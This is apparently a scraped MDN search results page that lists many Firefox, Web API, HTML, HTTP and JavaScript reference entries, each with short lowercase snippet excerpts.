...an implementation of this interface can be passed to a channel via the channel's notificationcallbacks attribute.
...And 9 more matches
nsIPushService
nsipushservice supports the push api implementation in firefox, and can be used directly from privileged code to create system subscriptions.
... implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.nsipushservice); method overview void subscribe(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void getsubscription(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void unsubscribe(in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback); methods subscribe() creates a push subscription.
... void subscribe( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the serviceworkerregistration.scope for a service worker subscription, or a unique url (for example, chrome://my-module/push) for a system subscription.
...And 9 more matches
nsISHistory
a handle to the session history object can be obtained from nsiwebnavigation.
... maxlength long used to get/set the maximum number of toplevel documents, session history can hold for each instance.
... shistoryenumerator nsisimpleenumerator called to obtain a enumerator for all the documents stored in session history.
...And 9 more matches
nsIScrollable
/docshell/base/nsiscrollable.idlscriptable this interface can be implemented by a control that supports scrolling.
... inherits from: nsiscrollable last changed in gecko 29.0 (firefox 29.0 / thunderbird 29.0 / seamonkey 2.26) method overview long getcurscrollpos(in long scrollorientation); obsolete since gecko 29.0 long getdefaultscrollbarpreferences(in long scrollorientation); void getscrollbarvisibility(out boolean verticalvisible, out boolean horizontalvisible); void getscrollrange(in long scrollorientation, out long minpos, out long maxpos); obsolete since gecko 29.0 void setcurscrollpos(in long scrollorientation, in long curpos); obsolete since gecko 29.0 void setcurscrollposex(in long curhorizontalpos, in long curverticalpos); obsolete since gecko 29.0 void setdefaultscrollba...
...rpreferences(in long scrollorientation, in long scrollbarpref); void setscrollrange(in long scrollorientation, in long minpos, in long maxpos); obsolete since gecko 29.0 void setscrollrangeex(in long minhorizontalpos, in long maxhorizontalpos, in long minverticalpos, in long maxverticalpos); obsolete since gecko 29.0 constants scroll orientations scroll orientations a scrollbar can be in.
...And 9 more matches
nsISelectionPrivate
method overview void addselectionlistener(in nsiselectionlistener newlistener); void endbatchchanges(); void getcachedframeoffset(in nsiframe aframe, in print32 inoffset, in nspointref apoint); native code only!
... void startbatchchanges(); wstring tostringwithformat(in string formattype, in unsigned long flags, in print32 wrapcolumn); attributes attribute type description cancacheframeoffset boolean frame offset cache can be used just during calling nseditor::endplaceholdertransaction.
... endplaceholdertransaction will give rise to reflow/refreshing view/scroll, and call times of nstextframe::getpointfromoffset whose return value is to be cached.
...And 9 more matches
nsIThreadObserver
t changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void afterprocessnextevent(in nsithreadinternal thread, in unsigned long recursiondepth); void ondispatchedevent(in nsithreadinternal thread); void onprocessnextevent(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnextevent() called by the nsithread method nsithread.processnextevent() after an event is processed.
... this method is only called on the target thread.
... note: it is valid to change the thread's observer during a call to this method.
...And 9 more matches
nsITransactionListener
saction); boolean willendbatch(in nsitransactionmanager amanager); boolean willmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge); boolean willredo(in nsitransactionmanager amanager, in nsitransaction atransaction); boolean willundo(in nsitransactionmanager amanager, in nsitransaction atransaction); methods didbeginbatch() called after a nsitransactionmanager begins a batch.
...diddo() called after a nsitransactionmanager calls the nsitransaction.dotransaction() method of a transaction.
... didendbatch() called after a nsitransactionmanager ends a batch.
...And 9 more matches
nsITreeBoxObject
out acstring childelt); void getcoordsforcellitem(in long row, in nsitreecolumn col, in acstring element, out long x, out long y, out long width, out long height); boolean iscellcropped(in long row, in nsitreecolumn col); void rowcountchanged(in long index, in long count); void beginupdatebatch(); void endupdatebatch(); void clearstyleandimagecaches(); attributes attribute type description columns nsitreecolumns readonly: obtain the columns.
...it is dynamically settable, either using a view attribute on the tree tag or by setting this attribute to a new value.
... void invalidate(); void invalidatecolumn(in nsitreecolumn col); void invalidaterow(in long index); void invalidatecell(in long row, in nsitreecolumn col); void invalidaterange(in long startindex, in long endindex); void invalidatecolumnrange(in long startindex, in long endindex, in nsitreecolumn col); getrowat() a hit test that can tell you what row the mouse is over.
...And 9 more matches
nsIUpdate
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing an available update to the current application - this update may have several available patches from which one must be selected to download and install, for example we might select a binary difference patch first and attempt to apply that, then if the application process fails fall back to downloading a complete file-replace patch.
... this object also contains information about the update that the front end and other application services can use to learn more about what is going on.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of this update.
...And 9 more matches
nsIWinTaskbar
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) starting with windows 7, applications gain some control over their appearance in the taskbar.
...an application can register its own "tab" previews.
... these previews automatically hide the corresponding nsitaskbarwindowpreview.
...And 9 more matches
Creating a Custom Column
adding a column by far the easiest part is the physical addition of the column.
...don't forget to add in a splitter before the column to ensure that the user can easily resize and drag our column around.
... the column handler now that our column physically exists it's time to give it a bit of personality.
...And 9 more matches
js-ctypes reference
it is obtained by by loading the ctypes module: components.utils.import("resource://gre/modules/ctypes.jsm"); you can use the ctypes object to load libraries, construct types, and perform miscellaneous tasks such as type casting.
... the library object is used mostly to declare native functions provided by the library so that js-ctypes knows how to call them.
... once you have finished working with a library, call library.close().
...And 9 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
this page shows how you can try out the debugger api yourself using firefox’s scratchpad.
...these are located at the bottom right of the options panel; you may need to scroll to see them.
... once they’re checked, you can close the developer tools.
...And 9 more matches
Work with animations - Firefox Developer Tools
this article covers three tools you can use to visualize and edit animations: the animation inspector editing @keyframes editing timing functions animation inspector the page inspector's animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.
...the box below contains a grayscale icon, representing firefox developer edition.
...the timeline starts at the start of the first animation, ends at the end of the last animation, and is labeled with markers every 250 milliseconds (this depends on the time scale of the animations currently displayed).
...And 9 more matches
UI Tour - Firefox Developer Tools
the performance tool's ui consists of 4 main pieces: toolbar recordings pane recording overview details pane, which may contain any one of: waterfall call tree flame chart toolbar the toolbar contains buttons to: start and stop a recording import a recording you previously saved clear the recordings pane.
... correlating events because these elements are synchronized, you can correlate events in one element with events in another.
... for example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate: zooming in you can use the overview to select a slice of the recording to examine in more detail.
...And 9 more matches
Animation - Web APIs
WebAPIAnimation
animation.pending read only indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
... event handlers animation.oncancel gets and sets the event handler for the cancel event.
... methods animation.cancel() clears all keyframeeffects caused by this animation and aborts its playback.
...And 9 more matches
CSSStyleSheet - Web APIs
the rules are contained in a cssrulelist, which can be obtained from the stylesheet's cssrules property.
... see the notes section for the various ways a cssstylesheet object can be obtained.
... rules read only the rules property is functionally identical to the standard cssrules property; it returns a live cssrulelist which maintains an up-to-date list of all of the rules in the style sheet.
...And 9 more matches
DOMMatrixReadOnly - Web APIs
if the matrix cannot be inverted, the new matrix's components are all set to nan and its is2d property is set to false.
... dommatrixreadonly.scale() returns a new dommatrix created by scaling the source matrix by the amount specified for each axis, centered on the given origin.
... by default, the x and z axes are scaled by 1 and the y axis has no default scaling value.
...And 9 more matches
Examples of web and XML development using the DOM - Web APIs
type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties of an html paragraph element are accessed using the style object on the element and that object's css style properties, which can be retrieved and set from the dom.
... in this case, you are manipulating the individual styles directly.
... in the next example (see example 4), you can use stylesheets and their rules to change styles for whole documents.
...And 9 more matches
ExtendableEvent - Web APIs
this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.
... if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that multiple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 ...
...And 9 more matches
HTMLOptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke=...
... htmloptionelement.defaultselected is a boolean that contains the initial value of the selected html attribute, indicating whether the option is selected by default or not.
... htmloptionelement.disabled is a boolean representing the value of the disabled html attribute, which indicates that the option is unavailable to be selected.
...And 9 more matches
HTMLScriptElement - Web APIs
javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... note: the exact processing details for these attributes are complex, involving many different aspects of html, and therefore are scattered throughout the specification.
...And 9 more matches
History.pushState() - Web APIs
WebAPIHistorypushState
the state object can be anything that can be serialized.
... because firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object.
...if you need more space than this, you're encouraged to use sessionstorage and/or localstorage.
...And 9 more matches
IDBCursor.direction - Web APIs
syntax var direction = cursor.direction; value a string (defined by the idbcursordirection enum) indicating the direction in which the cursor is traversing the data.
... possible values are: value description next this direction causes the cursor to be opened at the start of the source.
... nextunique this direction causes the cursor to be opened at the start of the source.
...And 9 more matches
IDBDatabaseException - Web APIs
obsolete: this interface was removed from the specification and was replaced by usage of domexception.
... in the indexeddb api, an idbdatabaseexception object represents exception conditions that can be encountered while performing database operations.
... constants note: do not rely on the numeric values of the constants, which might change as the specifications continue to change.
...And 9 more matches
IDBIndex - Web APIs
WebAPIIDBIndex
an index is a kind of object store for looking up records in another object store, called the referenced object store.
... you can retrieve records in an object store through the primary key or by using an index.
...the records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted.
...And 9 more matches
IIRFilterNode - Web APIs
the iirfilternode interface of the web audio api is a audionode processor which implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers as well.
... it lets the parameters of the filter response be specified, so that it can be tuned as needed.
... number of inputs 1 number of outputs 1 channel count mode "max" channel count same as on the input channel interpretation "speakers" typically, it's best to use the biquadfilternode interface to implement higher-order filters.
...And 9 more matches
MediaSessionActionDetails - Web APIs
the media session api's mediasessionactiondetails dictionary is the type used by the sole input parameter into the callback which is executed when a media session action occurs.
... properties action a media session action type string taken from the mediasessionaction enumerated type, indicating which type of action needs to be performed.
... fastseek optional an seekto action may optionally include this property, which is a boolean value indicating whether or not to perform a "fast" seek.
...And 9 more matches
MediaTrackConstraints.facingMode - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property.
...And 9 more matches
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
(that is, it will automatically be removed from its existing parent before appending it to the specified new parent.) this means that a node cannot be in two locations of the document simultaneously.
... note: the node.clonenode() can be used to make a copy of the node before appending it under the new parent.
... note that the copies made with clonenode() will not be automatically kept in sync.
...And 9 more matches
NodeList - Web APIs
WebAPINodeList
it can also be converted to a real array using array.from().
...this can be circumvented by using array.prototype.foreach() — see this document's example.
... live nodelists in some cases, the nodelist is live, which means that changes in the dom automatically update the collection.
...And 9 more matches
PaymentRequest - Web APIs
properties paymentrequest.id read only secure context an unique identifier for a particular paymentrequest, which can be set via details.id.
... paymentrequest.shippingaddress read only secure context if requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping.
... this property is only populated if the constructor is called with the requestshipping flag set to true.
...And 9 more matches
PaymentResponse.complete() - Web APIs
the paymentrequest method complete() of the payment request api notifies the user agent that the user interaction is over, and causes any remaining user interface to be closed.
... this method must be called after the user accepts the payment request and the promise returned by the paymentrequest.show() method is resolved.
... syntax completepromise = paymentrequest.complete(result); parameters result optional a domstring indicating the state of the payment operation upon completion.
...And 9 more matches
Performance - Web APIs
an object of this type can be obtained by calling the window.performance read-only attribute.
... note: this interface and its members are available in web workers, except where indicated below.
...if you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and vice versa.
...And 9 more matches
Performance API - Web APIs
the high resolution time standard defines a performance interface that supports client-side latency measurements within applications.
... the performance interfaces are considered high resolution because they are accurate to a thousandth of a millisecond (subject to hardware or software constraints).
... the interfaces support a number of use cases including calculating frame-rates (potentially important in animations) and benchmarking (such as the time to load a resource).
...And 9 more matches
RTCPeerConnection.restartIce() - Web APIs
the webrtc api's rtcpeerconnection interface offers the restartice() method to allow a web application to easily request that ice candidate gathering be redone on both ends of the connection.
... this simplifies the process by allowing the same method to be used by either the caller or the receiver to trigger an ice restart.
... after restartice() returns, the offer returned by the next call to createoffer() is automatically configured to trigger ice restart on both the local peer (once the local peer has been set) and on the remote peer, once the offer is sent across your signaling mechanism and the remote peer has set its description as well.
...And 9 more matches
Resource Timing API - Web APIs
the resource timing interfaces enable retrieving and analyzing detailed network timing data regarding the loading of an application's resource(s).
... an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script.
...for a graphical representation of the resource timing processing model see the resource timing phases figure.
...And 9 more matches
ServiceWorkerContainer.register() - Web APIs
you can call this method unconditionally from the controlled page.
...since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default.
...currently available options are: scope: a usvstring representing a url that defines a service worker's registration scope; that is, what range of urls a service worker can control.
...And 9 more matches
SharedWorkerGlobalScope - Web APIs
some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the javascript reference.
... sharedworkerglobalscope.applicationcache read only this property returns the applicationcache object for the worker (see using the application cache).
... properties inherited from workerglobalscope workerglobalscope.self returns an object reference to the dedicatedworkerglobalscope object itself.
...And 9 more matches
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
you can use the corresponding subtlecrypto.verify() method to verify the signature.
... supported algorithms the web crypto api provides four algorithms that can be used for signing and signature verification.
... three of these algorithms — rsassa-pkcs1-v1_5, rsa-pss, and ecdsa — are public-key cryptosystems that use the private key for signing and the public key for verification.
...And 9 more matches
WebGLRenderingContext.getProgramParameter() - Web APIs
possible values: gl.delete_status: returns a glboolean indicating whether or not the program is flagged for deletion.
... gl.link_status: returns a glboolean indicating whether or not the last link operation was successful.
... gl.validate_status: returns a glboolean indicating whether or not the last validation operation was successful.
...And 9 more matches
Raining rectangles - Web APIs
the objective: try to catch as many of the raining rectangles as you can by clicking on them.
...it is a preview of a full graphical application that manipulates various phases of the webgl graphics pipeline and state machine.
... in addition, the example demonstrates how to integrate the webgl function calls within a game loop.
...And 9 more matches
Getting started with WebGL - Web APIs
next » webgl enables web content to use an api based on opengl es 2.0 to perform 2d and 3d rendering in an html canvas in browsers that support it without the use of plug-ins.
...webgl elements can be mixed with other html elements and composited with other parts of the page or page background.
... the code examples in this tutorial can also be found in the webgl-examples github repository.
...And 9 more matches
Lighting in WebGL - Web APIs
in other words, if you want lighting you have to calculate it yourself.
...since a cube is a very simple object, this is easy to do; obviously for more complex objects, calculating the normals will be more involved.
... return { position: positionbuffer, normal: normalbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; this should look pretty familiar by now; we create a new buffer, bind it to be the buffer we're working with, then send along our array of vertex normals into the buffer by calling bufferdata().
...And 9 more matches
The WebSocket API (WebSockets) - Web APIs
the websocket api is an advanced technology that makes it possible to open a two-way interactive communication session between the user's browser and a server.
... with this api, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.
... guides writing websocket client applications writing websocket servers writing a websocket server in c# writing a websocket server in java tools humblenet: a cross-platform networking library that works in the browser.
...And 9 more matches
Window: beforeunload event - Web APIs
the document is still visible and the event is still cancelable at this point.
... bubbles no cancelable yes interface event event handler property onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page.
... if the user confirms, the browser navigates to the new page, otherwise it cancels the navigation.
...And 9 more matches
Window: popstate event - Web APIs
bubbles yes cancelable no interface popstateevent event handler property onpopstate the history stack if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object.
... these methods and their corresponding events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document.
... note that just calling history.pushstate() or history.replacestate() won't trigger a popstate event.
...And 9 more matches
Worker.prototype.postMessage() - Web APIs
the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
... the worker can send back information to the thread that spawned it using the dedicatedworkerglobalscope.postmessage method.
... syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler.
...And 9 more matches
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
...tprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property.
...}; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified url, returning it to the caller.
...And 9 more matches
XRBoundedReferenceSpace.boundsGeometry - Web APIs
each point is treated as a two-dimensional point, and must be located at ground level (that is, its y coordinate must be 0).
... this boundary is typically configured by the user, using the software that controls their xr hardware.
...theoretically, a more advanced system might use sensors or other detection methods to determine the bounds of a dedicated xr room (notice how we carefully don't call it a holodeck?).
...And 9 more matches
XRViewerPose - Web APIs
each xrviewerpose can have multiple views to represent, for example, the slight separation between the left and right eye.
... this view can represent anything from the point-of-view of a user's xr headset to the viewpoint represented by a player's movement of an avatar using mouse and keyboard, presented on the screen, to a virtual camera capturing the scene for a spectator.
...a typical headset provides a viewer pose with two views whose eye property is either left or right, indicating which eye that view represents.
...And 9 more matches
ARIA: article role - Accessibility
the article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website.
... instead of using role="article", the <article> element can be used.
...the aim of a set of article sections is to indicate their relationship to one another.
...And 9 more matches
ARIA: Navigation Role - Accessibility
<div role="navigation" aria-label="main"> <!-- list of links to main website locations --> </div> this is a website's main navigation.
...by classifying and labeling sections of a page, structural information conveyed visually through layout is represented programmatically.
... using the <nav> element will automatically communicate a section has a role of navigation.
...And 9 more matches
WAI ARIA Live Regions/API Support - Developer guides
ext_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events.
... retrieving author-supplied aria live region semantics from an event for any mutation event in a page, the author can get the following object attributes from the event object, if they are defined on some ancestor element (closest ancestor wins): object attribute name possible values default value if not specified meaning aria markup if required container-live "off" | "polite" | "assertive" "off" interruption policy aria-live on ancestor element container-relevant "[additions] [removals] [text]" | "all" "additions text" what types of mutations are possibly relevant?
... aria-atomic on ancestor element event-from-input "true" | "false" (described more below) browser could not calculate this was the root cause of this event explicit user input?
...And 9 more matches
Ajax - Developer guides
WebGuideAJAX
when these technologies are combined in the ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page.
... this makes the application faster and more responsive to user actions.
... although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript.
...And 9 more matches
Media buffering, seeking, and time ranges - Developer guides
this will work with <audio> or <video>; for now let's consider a simple audio example: <audio id="my-audio" controls src="music.mp3"> </audio> we can access these attributes like so: var myaudio = document.getelementbyid('my-audio'); var bufferedtimeranges = myaudio.buffered; timeranges object timeranges are a series of non-overlapping ranges of time, with start and stop times.
... without any user interaction there is usually only one time range, but if you jump about in the media more than one time range can appear, as illustrated by the below visualization.
... 15 19 21 for this audio instance, the associated timeranges object would have the following available properties: myaudio.buffered.length; // returns 2 myaudio.buffered.start(0); // returns 0 myaudio.buffered.end(0); // returns 5 myaudio.buffered.start(1); // returns 15 myaudio.buffered.end(1); // returns 19 to try out and visualize buffered time ranges we can write a little bit of html: <p> <audio id="my-audio" controls> <source src="music.mp3" type="audio/mpeg"> </audio> </p> <p> <canvas id="my-canvas" width="300" height="20"> </canvas> </p> and a little bit of javascript: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); var mycanvas = document.getelementbyid('my-canvas'); var context = myc...
...And 9 more matches
Event developer guide - Developer guides
WebGuideEvents
the custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.
... the device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3d transforms.
... that is different, but similar, to the change in device vertical orientation.
...And 9 more matches
Block-level elements - HTML: Hypertext Markup Language
html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements.
... browsers typically display the block-level element with a newline both before and after the element.
... you can visualize them as a stack of boxes.
...And 9 more matches
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
the html <article> element represents a self-contained composition in a document, page, application, or site, which is intended to be independently distributable or reusable (e.g., in syndication).
... a given document can have multiple articles in it; for example, on a blog that shows the text of each article one after another as the reader scrolls, each post would be contained in an <article> element, possibly with one or more <section>s within.
... content categories flow content, sectioning content, palpable content permitted content flow content.
...And 9 more matches
<br>: The Line Break element - HTML: Hypertext Markup Language
WebHTMLElementbr
the html <br> element produces a line break in text (carriage-return).
... it is useful for writing a poem or an address, where the division of lines is significant.
... as you can see from the above example, a <br> element is included at each point where we want the text to break.
...And 9 more matches
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
WebHTMLElementi
the html idiomatic text element (<i>) represents a range of text that is set off from the normal text for some reason, such as idiomatic text, technical terms, taxonomical designations, among others.
... historically, these have been presented using italicized type, which is the original source of the <i> naming of this element.
... content categories flow content, phrasing content, palpable content.
...And 9 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
content categories flow content, phrasing content, palpable content.
... usage notes other elements can be used in tandem with <kbd> to represent more specific scenarios: nesting a <kbd> element within another <kbd> element represents an actual key or other unit of input as a portion of a larger input.
... you can define a custom style to override the browser's default font selection for the <kbd> element, although the user's preferences may potentially override your css.
...And 9 more matches
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
this mechanism is designed for use with web-based certificate management systems.
... it is expected that the <keygen> element will be used in an html form along with other information needed to construct a certificate request, and that the result of the process will be a signed certificate.
... content categories flow content, phrasing content, interactive content, listed, labelable, submittable, resettable form-associated element, palpable content.
...And 9 more matches
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>.
... content categories metadata content.
...if the http-equiv is not an encoding declaration, it can also be inside a <noscript> element, itself inside a <head> element.
...And 9 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
the html disclosure summary element (<summary>) element specifies a summary, caption, or legend for a <details> element's disclosure box.
... usage notes the <summary> element's contents can be any heading content, plain text, or html that can be used within a paragraph.
...when the user clicks on the summary, the parent <details> element is toggled open or closed, and then a toggle event is sent to the <details> element, which can be used to let you know when this state change occurs.
...And 9 more matches
Data URLs - HTTP
syntax data urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, such as 'image/jpeg' for a jpeg image file.
... if omitted, defaults to text/plain;charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type).
... otherwise, you can specify base64 to embed base64-encoded binary data.
...And 9 more matches
Configuring servers for Ogg media - HTTP
if you don't know whether the ogg file contains audio or video, you can serve it with the mime type application/ogg, and the browser will treat it as a video file.
... for apache, you can add the following to your configuration: addtype audio/ogg .oga addtype video/ogg .ogv addtype application/ogg .ogg you can find specific information about possible media file types and the codecs used within them in our comprehensive guide to media types and formats on the web.
... your server should accept the accept-ranges: bytes http header if it can accept byte-range requests.
...And 9 more matches
Using Feature Policy - HTTP
feature policy allows you to control which origins can use which features, both in the top-level page and in embedded frames.
...a policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.
... the feature-policy http header you can send the feature-policy http header with the response of a page.
...And 9 more matches
CSP: navigate-to - HTTP
the http content-security-policy (csp) navigate-to directive restricts the urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... syntax one or more sources can be set for the navigate-to policy: content-security-policy: navigate-to <source>; content-security-policy: navigate-to <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 9 more matches
Strict-Transport-Security - HTTP
not part of the specification.
... description if a website accepts a connection through http and redirects to https, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com.
... the http strict transport security header informs the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead.
...And 9 more matches
Quantifiers - JavaScript
quantifiers indicate numbers of characters or expressions to match.
... types the following table is also duplicated on this cheatsheet.
... note: in the following, item refers not only to singular characters, but also includes character classes, unicode property escapes, groups and ranges.
...And 9 more matches
Public class fields - JavaScript
support in browsers is limited, but the feature can be used through a build step with systems like babel.
...this is useful for caches, fixed-configuration, or any other data you don't need to be replicated across instances.
... class classwithstaticfield { static staticfield } console.assert(classwithstaticfield.hasownproperty('staticfield')) console.log(classwithstaticfield.staticfield) // expected output: "undefined" public static fields are not reinitialized on subclasses, but can be accessed via the prototype chain.
...And 9 more matches
Array.prototype.flatMap() - JavaScript
it is identical to a map() followed by a flat() of depth 1, but flatmap() is often quite useful, as merging both into one method is slightly more efficient.
... syntax var new_array = arr.flatmap(function callback(currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters callback function that produces an element of the new array, taking three arguments: currentvalue the current element being processed in the array.
... arrayoptional the array map was called upon.
...And 9 more matches
Array.prototype.indexOf() - JavaScript
the indexof() method returns the first index at which a given element can be found in the array, or -1 if it is not present.
... syntax arr.indexof(searchelement[, fromindex]) parameters searchelement element to locate in the array.
...you can work around this by utilizing the following code at the beginning of your scripts.
...And 9 more matches
Array.prototype.push() - JavaScript
return value the new length property of the object upon which the method was called.
...this method can be used with call() or apply() on objects resembling arrays.
...if the length property cannot be converted into a number, the index used is 0.
...And 9 more matches
Number - JavaScript
values of other types can be converted to numbers using the number() function.
...this means it can represent fractional values, but there are some limits to what it can store.
...the largest value a number can hold is about 1.8×10308.
...And 9 more matches
Set - JavaScript
you can iterate through the elements of a set in insertion order.
... value equality because each value in the set has to be unique, the value equality will be checked.
... in an earlier version of ecmascript specification, this was not based on the same algorithm as the one used in the === operator.
...And 9 more matches
String.prototype.match() - JavaScript
if the g flag is used, all results matching the complete regular expression will be returned, but capturing groups will not.
... if the g flag is not used, only the first complete match and its related capturing groups are returned.
... in this case, the returned item will have additional properties as described below.
...And 9 more matches
String.raw() - JavaScript
(but it is not identical; see explanations in this issue.) it's used to get the raw string form of template strings, that is, substitutions (e.g.
... ${foo}) are processed, but escapes (e.g.
... syntax string.raw(callsite, ...substitutions) string.raw`templatestring` parameters callsite well-formed template call site object, like { raw: ['foo', 'bar', 'baz'] }.
...And 9 more matches
Symbol - JavaScript
